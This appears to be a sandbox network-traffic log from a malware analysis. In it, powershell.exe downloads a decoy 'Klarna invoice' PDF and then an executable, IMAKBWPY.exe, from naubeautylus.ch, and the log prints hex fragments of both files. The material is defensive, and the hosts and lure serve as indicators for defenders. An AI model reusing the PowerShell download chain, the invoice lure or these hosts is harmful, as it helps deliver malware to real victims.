2024-12-16 08:14:12 UTC	16384	IN	Data Raw: 4d 00 55 00 49 00 00 00 00 00 00 00 00 00 00 00 06 00 00 00 10 00 00 00 65 00 6e 00 2d 00 55 00 53 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: MUIen-US
2024-12-16 08:14:12 UTC	16384	IN	Data Raw: 68 ff ff ff e8 dd 02 00 00 8b 45 1c 8b 8d dc fe ff ff 89 85 3c ff ff ff 8d 85 2c ff ff ff 50 89 9d 40 ff ff ff 89 b5 44 ff ff ff 89 9d 48 ff ff ff e8 b0 02 00 00 8b 45 14 89 85 1c ff ff ff 89 9d 20 ff ff ff 89 b5 24 ff ff ff 89 9d 28 ff ff ff 8b 45 10 89 9d 10 ff ff ff c7 85 14 ff ff ff 08 00 00 00 89 9d 18 ff ff ff 8b 00 89 85 0c ff ff ff 8d 85 ec fe ff ff 50 6a 11 53 53 ff b5 d8 fe ff ff ff b5 d4 fe ff ff e8 a3 fd ff ff 8b 4d fc 5f 5e 33 cd 5b e8 65 b0 00 00 c9 c2 44 00 cc cc cc cc cc cc 8b ff 55 8b ec 81 ec 60 01 00 00 a1 04 13 41 00 33 c5 89 45 fc 8b 45 18 89 85 a8 fe ff ff 8b 45 20 89 85 ac fe ff ff 8b 45 28 53 8b 5d 3c 89 85 b0 fe ff ff 8b 45 30 56 8b 75 48 89 85 b4 fe ff ff 8b 45 38 57 8b 7d 44 89 85 b8 fe ff ff 8d 45 ec 89 8d a0 fe ff ff 8b 4d 54 Data Ascii: hE<,P@DHE $(EPjSSM_^3[eDU`A3EEE E(S]<E0VuHE8W}DEMT
2024-12-16 08:14:12 UTC	16384	IN	Data Raw: f0 e8 b1 cc ff ff 8d 57 48 c6 45 fc 01 8d 4d f0 e8 50 02 00 00 8b ce ba 20 14 41 00 f7 d9 1b c9 81 c1 02 00 00 80 85 f6 75 05 ba a0 13 41 00 8b 75 f0 56 68 58 13 41 00 e8 4f fe ff ff 8d 4e f0 c6 45 fc 00 e8 82 c4 ff ff 8b 75 e8 85 f6 74 42 68 78 12 41 00 8d 4d f0 e8 5a cc ff ff c6 45 fc 02 84 db 74 03 83 c7 18 8b d7 8d 4d f0 e8 f3 01 00 00 8b 75 f0 ba 20 14 41 00 56 68 84 13 41 00 b9 01 00 00 80 e8 02 fe ff ff 8d 4e f0 e8 39 c4 ff ff 8b 75 ec 8d 4d e0 e8 f0 24 00 00 8b c6 e8 f4 7a 00 00 c3 cc cc cc cc cc cc 6a 1c b8 eb fb 40 00 e8 25 7b 00 00 8b f9 33 db 8d 4d e4 53 68 90 1f 40 00 89 5d ec e8 79 24 00 00 89 5d fc 89 5d d8 89 5d dc 89 5d e0 8d 4d f0 c6 45 fc 01 e8 53 67 00 00 68 06 00 02 00 8d 4d d8 ff 30 68 02 00 00 80 e8 53 e8 ff ff 8b 4d f0 8b f0 83 c1 Data Ascii: WHEMP AuAuVhXAONEutBhxAMZEtMu AVhAN9uM$zj@%{3MSh@]y$]]]]MESghM0hSM
2024-12-16 08:14:12 UTC	16384	IN	Data Raw: 3b d0 74 10 66 89 3a 03 d7 3b d0 75 f7 8b 56 10 85 d2 74 60 85 db 8b fa 8b 5d 08 74 2c 0f b7 46 14 6b c8 2c 03 ca 3b d1 74 1f 8b 7e 0c 83 c2 08 39 7a fc 76 07 8b 02 3b 43 08 74 38 83 c2 2c 8d 42 f8 3b c1 75 ea 8b 7e 10 0f b7 46 16 33 d2 0f b7 4e 14 40 f7 f1 0f b7 c2 33 d2 6b c8 2c 42 66 89 46 16 8b 46 08 03 cf f0 0f c1 10 42 52 53 e8 b4 fd ff ff 5f 5e 5b 5d c2 04 00 cc cc cc cc cc cc 8b ff 55 8b ec 51 53 56 8b 35 ec 1c 41 00 33 db 57 8b fb 85 f6 74 51 39 5e 04 75 1c 8b 0e 8d 55 fc 89 5d fc e8 87 15 00 00 85 c0 78 0b 39 5e 04 75 06 8b 45 fc 89 46 04 8b 76 04 8d 46 10 f7 de 1b f6 23 f0 74 22 ff 15 e0 22 41 00 6a 0a 59 33 d2 8b f8 f7 f1 8b 4c 96 08 eb 07 39 39 74 10 8b 49 04 85 c9 75 f5 8b fb 8b c7 5f 5e 5b c9 c3 83 c1 08 8b f9 74 f2 39 59 08 75 ed 8d 46 04 Data Ascii: ;tf:;uVt`]t,Fk,;t~9zv;Ct8,B;u~F3N@3k,BfFFBRS_^[]UQSV5A3WtQ9^uU]x9^uEFvF#t""AjY3L99tIu_^[t9YuF
2024-12-16 08:14:13 UTC	16384	IN	Data Raw: 04 41 00 e9 46 fb ff ff cc cc cc cc cc cc 8d 4d f0 e9 15 4c ff ff 8d 4d ec e9 0d 4c ff ff 8d 4d d4 e9 6d 69 ff ff 8d 4d e0 e9 fd 4b ff ff cc cc cc cc cc 90 90 8b 54 24 08 8d 42 0c 8b 4a cc 33 c8 e8 ba f0 ff ff b8 ac 04 41 00 e9 fe fa ff ff cc cc cc cc cc cc 8d 8d d4 fd ff ff e9 2c a5 ff ff 8d 8d e8 fd ff ff e9 2c 85 ff ff cc cc cc cc cc 90 90 8b 54 24 08 8d 42 0c 8b 8a d0 fd ff ff 33 c8 e8 79 f0 ff ff 8b 4a fc 33 c8 e8 6f f0 ff ff b8 f0 04 41 00 e9 b3 fa ff ff cc cc cc cc cc cc 8d 4d f0 e9 ef 84 ff ff 8d 4d ec e9 e7 84 ff ff cc cc cc cc cc 90 90 8b 54 24 08 8d 42 0c 8b 8a 7c ff ff ff 33 c8 e8 34 f0 ff ff b8 24 05 41 00 e9 78 fa ff ff cc cc cc cc cc cc 90 90 8b 54 24 08 8d 42 0c 8b 4a ec 33 c8 e8 11 f0 ff ff b8 74 02 41 00 e9 55 fa ff ff cc cc cc cc cc cc Data Ascii: AFMLMLMmiMKT$BJ3A,,T$B3yJ3oAMMT$B\|34$AxT$BJ3tAU

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49734	62.182.21.105	443	1344	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-16 08:14:16 UTC	87	OUT	GET /KlarnaInvoice42611.pdf HTTP/1.1 Host: naubeautylus.ch Connection: Keep-Alive
2024-12-16 08:14:17 UTC	217	IN	HTTP/1.1 200 OK Connection: close content-type: application/pdf last-modified: Sun, 15 Dec 2024 02:49:07 GMT accept-ranges: bytes content-length: 114905 date: Mon, 16 Dec 2024 08:14:16 GMT server: LiteSpeed
2024-12-16 08:14:17 UTC	1151	IN	Data Raw: 25 50 44 46 2d 31 2e 37 0d 0a 25 b5 b5 b5 b5 0d 0a 31 20 30 20 6f 62 6a 0d 0a 3c 3c 2f 54 79 70 65 2f 43 61 74 61 6c 6f 67 2f 50 61 67 65 73 20 32 20 30 20 52 2f 4c 61 6e 67 28 65 6e 29 20 2f 53 74 72 75 63 74 54 72 65 65 52 6f 6f 74 20 31 38 20 30 20 52 2f 4d 61 72 6b 49 6e 66 6f 3c 3c 2f 4d 61 72 6b 65 64 20 74 72 75 65 3e 3e 2f 4d 65 74 61 64 61 74 61 20 31 34 36 20 30 20 52 2f 56 69 65 77 65 72 50 72 65 66 65 72 65 6e 63 65 73 20 31 34 37 20 30 20 52 3e 3e 0d 0a 65 6e 64 6f 62 6a 0d 0a 32 20 30 20 6f 62 6a 0d 0a 3c 3c 2f 54 79 70 65 2f 50 61 67 65 73 2f 43 6f 75 6e 74 20 32 2f 4b 69 64 73 5b 20 33 20 30 20 52 20 31 35 20 30 20 52 5d 20 3e 3e 0d 0a 65 6e 64 6f 62 6a 0d 0a 33 20 30 20 6f 62 6a 0d 0a 3c 3c 2f 54 79 70 65 2f 50 61 67 65 2f 50 61 72 65 6e Data Ascii: %PDF-1.7%1 0 obj<</Type/Catalog/Pages 2 0 R/Lang(en) /StructTreeRoot 18 0 R/MarkInfo<</Marked true>>/Metadata 146 0 R/ViewerPreferences 147 0 R>>endobj2 0 obj<</Type/Pages/Count 2/Kids[ 3 0 R 15 0 R] >>endobj3 0 obj<</Type/Page/Paren
2024-12-16 08:14:17 UTC	14994	IN	Data Raw: e9 6a 1d f6 c0 4c d1 ec 69 60 aa 06 f6 90 d1 46 8e 3d 8d 4b f0 f2 ec 69 b3 f5 14 4c 05 3c d9 dd e0 f1 75 b3 60 a8 14 18 aa 49 dc 95 0c 95 5d c8 50 f9 a6 64 39 1f 47 43 75 0c 12 f8 08 86 aa 67 8d e4 8c 8f 0f 63 04 48 aa 73 9a 36 25 1c f0 16 5d 7c f1 65 9c b6 6a 2b 07 a9 34 aa 72 99 35 fe ea 97 e3 78 5c 6c cb 38 5a 70 ca a8 11 7e b6 a0 22 68 16 70 f6 08 c2 9a 31 f6 ac f8 dc 9c a4 89 a5 b9 e9 96 9a 9b d5 56 e7 04 3d 3a 54 2a 39 0c 97 1f 77 6e c4 bb 38 61 e1 1f fa 10 eb 78 0f d1 79 36 14 8d 0b 4c df 22 0e 9a ea 6a a7 7b 66 f7 0c df 70 02 4a 49 2a cb 14 be 4b ca e2 17 52 16 57 95 b4 77 54 59 4e e0 8f 85 cd 7c a3 40 4b ca c4 c9 6b 49 19 47 ef 94 01 6d 95 da a9 45 6b ba 3a 1d 92 37 5d 65 7a e4 4d d7 24 f9 96 b4 b1 96 ce 65 68 70 f6 21 c8 6d 98 f3 23 cc 4f 63 44 Data Ascii: jLi`F=KiL<u`I]Pd9GCugcHs6%]\|ej+4r5x\l8Zp~"hp1V=:T9wn8axy6L"j{fpJIKRWwTYN\|@KkIGmEk:7]ezM$ehp!m#OcD
2024-12-16 08:14:17 UTC	16384	IN	Data Raw: 26 bc 71 f6 5c 55 f1 28 5d 71 fa f2 38 76 ec 78 f1 28 bd 0c 27 4e 7c 2b 7b 2f dd b7 ef bc 35 69 52 f6 5e fa fa 07 d2 d3 d8 b0 71 e3 c8 fd af b3 f7 52 51 59 99 3d 9a 36 6d fa 82 85 0b 87 86 86 b3 f7 92 5e 32 83 b9 a3 74 2f 33 67 7e 9c 7d 8c e9 5e de ff e0 83 ec d1 a6 4d 9b 27 4d 9a 94 be ba b2 f7 92 1e 63 f6 28 bd 5e d2 95 7d db bd b4 e4 ef 65 fc f8 f1 75 17 33 f7 92 fe 30 3d fc b3 e7 32 af 97 a6 e6 e6 89 6f bd 75 34 77 2f e9 a5 94 9e 70 f6 5e da 3b 3a 27 4f 99 92 bd 97 3b 77 7b de 7b ef fd f5 b9 d7 4b 7a 44 53 a7 4e ad a8 5c 95 fe 69 ca de cb a2 45 8b 06 87 32 ff b6 a4 7b 99 3f 7f 7e ff c0 40 f1 48 32 4c 01 00 10 da a3 31 4c 2d 5e bc 64 f5 9a 35 c5 a3 f4 d3 df ca 95 15 cb 97 af c8 be e1 c6 8d 1b 17 2c 58 98 3d da be e3 f3 39 73 e7 66 8f f6 ee fb a2 a4 b4 Data Ascii: &q\U(]q8vx('N\|+{/5iR^qRQY=6m^2t/3g~}^M'Mc(^}eu30=2ou4w/p^;:'O;w{{KzDSN\iE2{?~@H2L1L-^d5,X=9sf
2024-12-16 08:14:17 UTC	16384	IN	Data Raw: bd e6 e1 53 5e 77 e5 d1 47 14 7d 2d a3 10 a6 8c 31 c6 18 63 8c 69 c3 11 a6 f6 8a 30 05 90 33 61 ca 18 63 8c 31 c6 98 36 1c 61 6a af 08 53 00 39 13 a6 8c 31 c6 18 63 8c 69 c3 11 a6 f6 8a 30 05 90 33 61 ca 18 63 8c 31 c6 98 36 1c 61 6a af 08 53 00 39 13 a6 8c 31 c6 18 63 8c 69 c3 11 a6 f6 8a 30 05 90 b3 54 98 7a 83 30 65 8c 31 c6 18 63 4c 9b cc 88 61 ea 15 c2 d4 ff 42 98 02 c8 59 23 4c f5 7d e5 1d c3 3f b6 2a ff f2 0f d1 ca bb aa e5 95 e9 a9 c5 51 d1 cf e6 41 71 b5 37 b9 9e e8 de a3 a3 a5 e7 ee 76 91 01 66 c7 fc e8 ee e7 47 ab 3e 1a 7e f3 a6 5f 44 77 1f 59 5d f7 8d e0 9b a3 35 9f 8f e6 be b0 ba e9 57 a1 37 af 88 96 5f 14 dd fb 92 ea 8e 05 81 37 97 96 47 8b ff 39 ba ff 75 e1 5f e4 d2 d2 68 fe 1b a2 87 fe 31 fc e6 de 85 d1 dc 69 d1 ca 4b 82 6f 8e 36 ff 36 ba Data Ascii: S^wG}-1ci03ac16ajS91ci03ac16ajS91ci0Tz0e1cLaBY#L}?*QAq7vfG>~_DwY]5W7_7G9u_h1iKo66
2024-12-16 08:14:17 UTC	16384	IN	Data Raw: 1c c3 94 46 23 c3 94 78 1d c3 94 38 86 29 05 0c 53 e2 18 a6 54 1a 19 a6 14 30 4c 01 40 14 30 4c 8d ea 3d 91 61 4a 1a c3 94 3c 86 29 8d 46 86 29 f1 46 86 29 71 0c 53 f2 7d 0c 53 0a 8d 0c 53 e2 18 a6 00 00 e5 82 61 6a 54 ef 89 0c 53 d2 18 a6 e4 31 4c 69 34 32 4c 89 37 32 4c 89 63 98 92 ef 63 98 52 68 64 98 12 c7 30 05 00 28 17 0c 53 a3 7a 4f 64 98 92 c6 30 25 8f 61 4a a3 91 61 4a bc 91 61 4a 1c c3 94 7c 1f c3 94 42 23 c3 94 38 86 29 00 40 b9 60 98 1a d5 7b 22 c3 94 34 86 29 79 0c 53 1a 8d 0c 53 e2 8d 0c 53 e2 18 a6 e4 fb 18 a6 14 1a 19 a6 c4 31 4c 01 00 ca 05 c3 d4 a8 de 13 19 a6 a4 31 4c c9 63 98 d2 68 64 98 12 6f 64 98 12 c7 30 25 df c7 30 a5 d0 c8 30 25 8e 61 0a 00 50 2e f6 a9 aa 58 fe d5 cf 6f 38 fb e4 5b 3e 7e 64 a1 1f 4b 1e 0c 53 8a 18 a6 c4 31 4c 69 Data Ascii: F#x8)ST0L@0L=aJ<)F)F)qS}SSajTS1Li42L72LccRhd0(SzOd0%aJaJaJ\|B#8)@`{"4)ySSS1L1Lchdod0%00%aP.Xo8[>~dKS1Li
2024-12-16 08:14:17 UTC	16384	IN	Data Raw: 19 24 92 0c 88 24 19 24 92 0c 88 24 19 24 92 0c 88 24 19 24 92 0c 88 24 19 24 92 0c 88 24 19 24 92 0c 88 24 19 24 92 0c 88 24 19 24 92 0c 88 24 19 24 92 0c 88 24 19 24 92 0c 88 24 19 24 92 0c 88 24 19 24 92 0c 88 24 19 24 92 0c 88 24 19 24 92 0c 88 24 19 24 92 0c 88 24 19 24 92 0c 88 24 19 24 92 0c 88 24 19 24 92 0c 88 24 19 24 92 0c 88 24 19 24 92 0c 88 24 19 24 92 0c 88 24 19 24 92 0c 88 24 19 24 92 0c 88 24 19 24 92 0c 88 24 19 24 92 0c 88 24 19 24 92 0c 88 24 19 24 92 0c 88 24 19 24 92 0c 88 24 19 24 92 0c 88 24 19 24 92 0c 88 24 19 24 92 0c 88 24 19 24 92 0c 88 24 19 24 92 0c 88 24 19 24 92 0c 88 24 19 24 92 0c 88 24 19 24 92 0c 88 24 19 24 92 0c 88 24 19 24 92 0c 88 24 19 24 92 0c 88 24 19 24 92 0c 88 24 19 24 92 0c 88 24 19 24 92 0c 88 24 19 24 92 Data Ascii: $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$
2024-12-16 08:14:17 UTC	16384	IN	Data Raw: 01 db e9 ef 1a 09 02 38 16 7d 56 7e ea fe f4 8f 99 a5 71 c0 bf 49 25 59 4f c0 34 f4 33 05 0e ac e0 83 6d 68 e4 7e ec 97 a9 68 8e 91 dd a0 05 83 f6 2e 6d 00 cb f7 c8 39 f9 3d ac 20 23 5c 0a a7 d1 f2 5a 8d 8e e7 34 47 40 37 5a 0b b9 a3 89 ce e7 ce 77 bb 21 8c cc 1e 5d 70 24 48 a2 fa bb c8 4f dd 40 ee 63 46 1f d7 2e a0 33 05 5e 5b 0f 4f b0 a1 fe 44 c6 bf 14 74 db 60 f3 5f de 4a 85 ff ee a0 e9 81 55 7f 4d 3b fe 7c 98 ff b7 1e 8b 0a ff 58 d0 3c 04 ab ff 94 8e f6 87 d0 f5 a5 76 ab a1 fb bf 66 44 2a fc bd 80 9f 07 4b ff 9a 76 dc 75 30 ef 6f 3d 96 7f 46 e0 66 c3 e0 3f 7a 0c 2a a8 a0 82 0a ff 93 80 f7 c2 4d ff e8 31 a8 a0 c2 b9 40 b3 ef af 7b a6 52 41 05 15 54 50 41 05 15 54 50 41 05 15 54 50 41 05 15 54 50 41 05 15 54 50 41 05 15 54 50 41 05 15 54 50 41 05 15 54 Data Ascii: 8}V~qI%YO43mh~h.m9= #\Z4G@7Zw!]p$HO@cF.3^[ODt`_JUM;\|X<vfDKvu0o=Ff?zM1@{RATPATPATPATPATPATPATPAT
2024-12-16 08:14:17 UTC	16384	IN	Data Raw: 8e f9 4e fa ce f8 ce fb be f6 5d f1 5d f7 73 fe 2c bf de 2f fb 6d 7e cd ef f5 97 f8 7b fb fb fb 07 fb 87 fb 47 f9 c7 fa c7 fb 23 fe b8 7f 92 7f 9a 7f ba 7f 96 7f ae 6b be 7f a1 7f 99 7f 95 7f 9d 7f a3 7f ab 7f b7 bf cd 7f d4 7f c2 7f da 7f ce 7f d1 7f d9 7f ad 88 68 c9 a2 cc 22 7d 91 b9 c8 59 e4 2d 2a 29 ea 5d d4 bf 68 70 51 59 51 79 d1 e8 a2 b1 45 55 45 13 8a ea f2 8f 14 35 14 4d 2b 9a 51 34 a7 68 61 d1 b2 a2 55 45 eb 8a 36 16 6d 29 da 51 b4 b7 a8 ad e8 48 d1 f1 a2 53 45 67 8b 2e 14 5d 2a ba 5a 74 23 20 04 72 02 c6 80 39 60 0f b8 03 fe 40 49 e0 ae 40 df 40 69 60 70 a0 2c 50 1e 18 1d 18 1b a8 0a 4c 08 d4 05 1a 02 53 03 cd 81 96 c0 9c c0 82 c0 92 c0 f2 c0 aa c0 da c0 fa c0 a6 c0 d6 c0 ce c0 fe c0 a1 c0 d1 c0 89 c0 e9 c0 b9 c0 c5 c0 e5 c0 b5 3b c8 1d 99 77 Data Ascii: N]]s,/m~{G#kh"}Y-)]hpQYQyEUE5M+Q4haUE6m)QHSEg.]Zt# r9`@I@@i`p,PLS;w
2024-12-16 08:14:17 UTC	456	IN	Data Raw: 30 30 20 6e 0d 0a 30 30 30 30 30 38 31 32 31 34 20 30 30 30 30 30 20 6e 0d 0a 30 30 30 30 31 30 37 31 39 38 20 30 30 30 30 30 20 6e 0d 0a 30 30 30 30 31 30 37 38 30 32 20 30 30 30 30 30 20 6e 0d 0a 30 30 30 30 31 30 37 38 33 30 20 30 30 30 30 30 20 6e 0d 0a 30 30 30 30 31 31 31 30 30 38 20 30 30 30 30 30 20 6e 0d 0a 30 30 30 30 31 31 31 30 35 34 20 30 30 30 30 30 20 6e 0d 0a 74 72 61 69 6c 65 72 0d 0a 3c 3c 2f 53 69 7a 65 20 31 34 39 2f 52 6f 6f 74 20 31 20 30 20 52 2f 49 6e 66 6f 20 31 37 20 30 20 52 2f 49 44 5b 3c 32 39 42 32 46 37 30 38 46 33 43 41 38 43 34 46 39 43 36 46 33 38 43 30 35 34 37 42 43 34 33 39 3e 3c 32 39 42 32 46 37 30 38 46 33 43 41 38 43 34 46 39 43 36 46 33 38 43 30 35 34 37 42 43 34 33 39 3e 5d 20 3e 3e 0d 0a 73 74 61 72 74 78 72 65 Data Ascii: 00 n0000081214 00000 n0000107198 00000 n0000107802 00000 n0000107830 00000 n0000111008 00000 n0000111054 00000 ntrailer<</Size 149/Root 1 0 R/Info 17 0 R/ID[<29B2F708F3CA8C4F9C6F38C0547BC439><29B2F708F3CA8C4F9C6F38C0547BC439>] >>startxre

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49736	62.182.21.105	443	1344	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-16 08:14:19 UTC	53	OUT	GET /IMAKBWPY.exe HTTP/1.1 Host: naubeautylus.ch
2024-12-16 08:14:19 UTC	227	IN	HTTP/1.1 200 OK Connection: close content-type: application/x-msdownload last-modified: Sun, 15 Dec 2024 12:36:34 GMT accept-ranges: bytes content-length: 3082476 date: Mon, 16 Dec 2024 08:14:19 GMT server: LiteSpeed
2024-12-16 08:14:19 UTC	1141	IN	Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 10 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 41 21 11 53 05 40 7f 00 05 40 7f 00 05 40 7f 00 b1 dc 8e 00 0c 40 7f 00 b1 dc 8c 00 79 40 7f 00 b1 dc 8d 00 1d 40 7f 00 dc 22 7c 01 16 40 7f 00 dc 22 7b 01 16 40 7f 00 dc 22 7a 01 23 40 7f 00 0c 38 fc 00 00 40 7f 00 0c 38 ec 00 14 40 7f 00 05 40 7e 00 50 41 7f 00 a1 23 7a 01 4e 40 7f 00 a1 23 80 00 04 40 7f 00 05 40 e8 00 07 40 7f 00 a1 23 7d 01 04 40 7f 00 52 69 63 68 05 40 7f Data Ascii: MZ@!L!This program cannot be run in DOS mode.$A!S@@@@y@@"\|@"{@"z#@8@8@@~PA#zN@#@@@#}@Rich@
2024-12-16 08:14:19 UTC	14994	IN	Data Raw: 30 a1 04 a0 46 00 33 c5 89 45 fc 53 8b 5d 08 33 c0 56 8b 75 10 57 50 89 45 d0 83 cf ff 89 45 d4 8d 45 d4 50 c7 45 d8 60 b4 44 00 c7 45 dc 78 b4 44 00 c7 45 e0 88 b4 44 00 c7 45 e4 a0 b4 44 00 c7 45 e8 b8 b4 44 00 c7 45 ec d0 b4 44 00 c7 45 f0 e8 b4 44 00 c7 45 f4 00 b5 44 00 c7 45 f8 18 b5 44 00 e8 ea 22 00 00 85 c0 78 1d 6a 00 68 80 00 00 00 6a 03 6a 00 6a 05 68 00 00 00 80 ff 75 d4 ff 15 e4 b0 44 00 8b f8 56 e8 1f 40 00 00 85 c0 74 07 e8 ef 00 00 00 eb 0b 6a 09 8d 45 d8 50 e8 5b 00 00 00 8d 45 d0 50 ff 75 14 56 57 53 e8 6c 40 00 00 8b f0 83 ff ff 74 07 57 ff 15 e0 b0 44 00 83 7d d4 00 74 08 ff 75 d4 e8 f1 44 04 00 85 f6 78 03 8b 75 d0 8b 4d fc 8b c6 5f 5e 33 cd 5b e8 14 cf 02 00 8b e5 5d c2 10 00 55 8b ec 8b 45 08 83 c0 fc 50 ff 15 ec b0 44 00 5d c2 04 Data Ascii: 0F3ES]3VuWPEEEPE`DExDEDEDEDEDEDEDED"xjhjjjhuDV@tjEP[EPuVWSl@tWD}tuDxuM_^3[]UEPD]
2024-12-16 08:14:19 UTC	16384	IN	Data Raw: f4 03 00 00 53 50 e8 89 f4 00 00 8b f0 85 f6 79 0a 68 d4 bc 44 00 e9 0d 01 00 00 8d 45 fc 50 8d 87 f8 00 00 00 50 ff b7 60 01 00 00 8d 87 ac 00 00 00 ff 77 20 50 53 e8 72 4e 00 00 8b f0 85 f6 79 0a 68 e8 bc 44 00 e9 dc 00 00 00 83 7d fc 00 75 13 68 35 00 00 e0 6a 02 e8 9d 0a 00 00 33 f6 e9 c9 00 00 00 83 bf b8 00 00 00 00 74 14 83 7f 20 02 7e 0e 8d 47 34 50 6a 00 ff 75 08 e8 bc 9a 01 00 57 ff 75 08 e8 eb 9e 01 00 8b f0 85 f6 79 0a 68 0c bd 44 00 e9 8d 00 00 00 57 e8 87 31 01 00 8b f0 85 f6 79 07 68 34 bd 44 00 eb 7a 53 ff 77 1c e8 4f ed 00 00 8b f0 85 f6 79 07 68 54 bd 44 00 eb 64 53 8d 87 00 01 00 00 50 e8 c9 bb 00 00 8b f0 85 f6 79 07 68 74 bd 44 00 eb 4a 8b 47 40 33 c9 85 c0 74 21 66 39 08 74 1c 51 50 68 d0 b8 44 00 53 e8 c0 36 00 00 8b f0 85 f6 79 07 Data Ascii: SPyhDEPP`w PSrNyhD}uh5j3t ~G4PjuWuyhDW1yh4DzSwOyhTDdSPyhtDJG@3t!f9tQPhDS6y
2024-12-16 08:14:20 UTC	16384	IN	Data Raw: 50 ff 75 fc 6a 7f ff 15 34 b1 44 00 83 f8 02 74 d3 8b 45 0c 8b 4d 08 83 c0 02 41 89 45 0c 89 4d 08 3b cf 7e d6 8b 45 14 89 18 5f 5e 8b c3 5b 8b e5 5d c2 10 00 55 8b ec 83 ec 28 53 33 db 56 57 6a 02 58 8b f3 89 5d e8 89 5d ec 89 5d f0 89 5d f4 89 5d fc 89 5d d8 89 5d dc 89 5d e0 89 5d e4 89 5d f8 39 45 1c 0f 85 6e 01 00 00 39 45 34 75 55 8d 45 fc 50 8d 45 0c 50 e8 f5 77 01 00 8b f0 85 f6 79 12 68 38 e0 44 00 56 e8 a1 76 03 00 59 59 e9 83 00 00 00 8d 45 f8 50 8d 45 24 50 e8 d0 77 01 00 8b f0 85 f6 79 07 68 58 e0 44 00 eb d9 ff 75 3c ff 75 f8 ff 75 fc ff 75 08 e8 3f fe ff ff e9 0d 01 00 00 83 7d 34 03 0f 85 b2 00 00 00 8d 45 e0 50 8d 45 24 50 e8 87 78 01 00 8b f0 85 f6 0f 88 c2 01 00 00 8d 45 f0 50 8d 45 0c 50 e8 70 78 01 00 8b f0 85 f6 79 6f 81 fe 05 00 02 Data Ascii: Puj4DtEMAEM;~E_^[]U(S3VWjX]]]]]]]]]]9En9E4uUEPEPwyh8DVvYYEPE$PwyhXDu<uuu?}4EPE$PxEPEPpxyo
2024-12-16 08:14:20 UTC	16384	IN	Data Raw: 41 04 53 8b df 85 c0 0f 84 8c 00 00 00 8b c7 89 7d 0c 8b 39 03 f8 8d 45 fc 6a 00 50 83 4f 0c ff ff 75 f4 e8 57 6d 03 00 8b f0 85 f6 78 5e 57 68 9c ca 44 00 ff 75 fc e8 b0 67 03 00 8b f0 85 f6 78 43 8d 47 04 50 68 80 f9 44 00 ff 75 fc e8 99 67 03 00 8b f0 85 f6 78 25 8b 4d fc 85 c9 74 0a 8b 01 51 ff 50 08 83 65 fc 00 8b 45 0c 43 8b 4d 08 83 c0 10 89 45 0c 3b 5d f8 72 96 eb 1b 68 90 f9 44 00 eb 0c 68 a4 ca 44 00 eb 05 68 80 ca 44 00 56 e8 99 36 03 00 59 59 5b 8b 4d f4 85 c9 74 06 8b 01 51 ff 50 08 8b 4d fc 85 c9 74 06 8b 01 51 ff 50 08 5f 8b c6 5e 8b e5 5d c2 08 00 55 8b ec 83 ec 14 53 56 57 33 ff 89 7d fc 89 7d f8 e9 c9 00 00 00 85 f6 0f 88 20 01 00 00 8b 75 08 8b cf 8b 45 fc 89 45 ec 89 4d f4 39 7e 04 76 4c 8b d7 89 7d f0 8b 1e 03 da 83 7b 04 02 75 2b 8b Data Ascii: AS}9EjPOuWmx^WhDugxCGPhDugx%MtQPeECME;]rhDhDhDV6YY[MtQPMtQP_^]USVW3}} uEEM9~vL}{u+
2024-12-16 08:14:20 UTC	16384	IN	Data Raw: 4b 03 00 43 83 c7 10 3b 9e 98 00 00 00 72 a4 ff b6 94 00 00 00 e8 f5 2e ff ff 33 db 8b 86 bc 00 00 00 85 c0 74 06 50 e8 03 4b 03 00 8b 86 c0 00 00 00 85 c0 74 06 50 e8 f3 4a 03 00 8d 86 b4 00 00 00 50 e8 54 83 01 00 68 a8 01 00 00 53 56 e8 85 ed 01 00 83 c4 0c 5f 5e 5b 5d c2 04 00 55 8b ec 51 51 53 8b 5d 08 8d 45 fc 56 57 50 ff 75 0c 33 f6 ff 73 04 89 75 fc 89 75 f8 e8 31 8f 00 00 8b f8 85 ff 79 12 68 bc 38 45 00 57 e8 9f f6 02 00 8b 75 fc 59 59 eb 45 8d 45 f8 50 53 e8 ec 04 00 00 8b f8 85 ff 79 07 68 a4 37 45 00 eb dc 8b 4d f8 8b 45 0c c7 01 07 00 00 00 89 41 08 8b 45 fc 89 41 0c 8b 45 10 89 75 fc 85 c0 74 02 89 08 8b 4d 14 85 c9 74 10 8b 43 50 48 89 01 85 f6 74 06 56 e8 48 4a 03 00 8b c7 5f 5e 5b 8b e5 5d c2 10 00 55 8b ec 56 57 8b 7d 0c 83 bf 8c 00 00 Data Ascii: KC;r.3tPKtPJPThSV_^[]UQQS]EVWPu3suu1yh8EWuYYEEPSyh7EMEAEAEutMtCPHtVHJ_^[]UVW}
